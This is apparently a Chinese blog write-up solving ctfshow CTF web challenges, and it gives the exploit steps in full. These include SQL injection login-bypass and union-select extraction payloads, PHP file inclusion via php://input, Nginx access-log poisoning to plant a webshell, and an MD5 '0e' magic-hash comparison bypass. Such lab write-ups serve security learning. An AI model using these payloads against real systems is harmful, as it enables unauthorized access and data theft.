ctfshow(二)WEB

web签到题

f12 复制粘贴 base64解码 ctfshow{02157b0e-bfbc-411d-ae5f-87ff198441c9}

web2最简单的SQL注入

输入admin:admin没反应,试试万能密码

1
2
3
4
5
admin' or '1'='1'--
admin' OR 4=4/*
"or "a"="a
' or''=' #成功
' or 1=1--

image-20230707074339767

#号是注释符,所以后面的语句是被注释掉的,所以剩下password=’ or 1=1,or是只要满足一个条件就可以,1=1永远是满足的

然后判断字段’ or 1=1 union select 1,2,3 #,逐个尝试后确认为3个字段

image-20230707074703453

接着按顺序爆库→表→字段→值

爆库:username=admin&password=' or 1=1 union select 1,database(),3#image-20230707074906942

爆表:username=admin&password=' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

image-20230707075623841

爆字段:username=admin&password=' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

image-20230707081452823

爆值:' or 1=1 union select 1,flag,3 from flag#

image-20230707081610566

注意:中间截图省略了判断列数量和表数量sql语句

ctfshow{6210b230-f5e8-45ef-9376-9bd612c163a8} 动态的,不用试我的了

web3更简单的web题

include()函数包含的文件会被执行

get请求:?url=php://input

post请求:

image-20230728163423201

URL=ctf_go_go_go

image-20230728163507277

ctfshow{41377a6e-7c76-4636-af2f-46a552f83bc1}

web4

同上,返回error

image-20230728165546283

尝试直接读文件:

image-20230728165653714

查看官方提醒:日志注入

Nginx日志路径:/var/log/nginx/access.logimage-20230728170306717

再次请求加入一句话木马

image-20230728171105273

蚁剑连接后路径下找到flag

image-20230728171147891

ctfshow{4f4c2f4d-0e1d-4126-b0ae-2392d16cb7ab}

web5

  • ctype_alpha()函数用于检测字符串中是否仅包含字母,是则返回true,否则返回false
  • is_numeric()函数用于检测变量是否为数字或数字字符串,是则返回true,否则返回false

0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个MD5值是以0e开头的参数,即可绕过md5加密

构造payload

1
2
3
?v1=QNKCDZO&v2=240610708
QNKCDZO 的md5值为 0e830400451993494058024219903391
240610708 的md5值为 0e462097431906509019562988736854

ctfshow{4c63fdaa-41ce-4041-8a87-235ceaa6435f}


ctfshow(二)WEB
https://www.305871230.xyz/posts/1225760139/
作者
游理
发布于
2023年7月7日
许可协议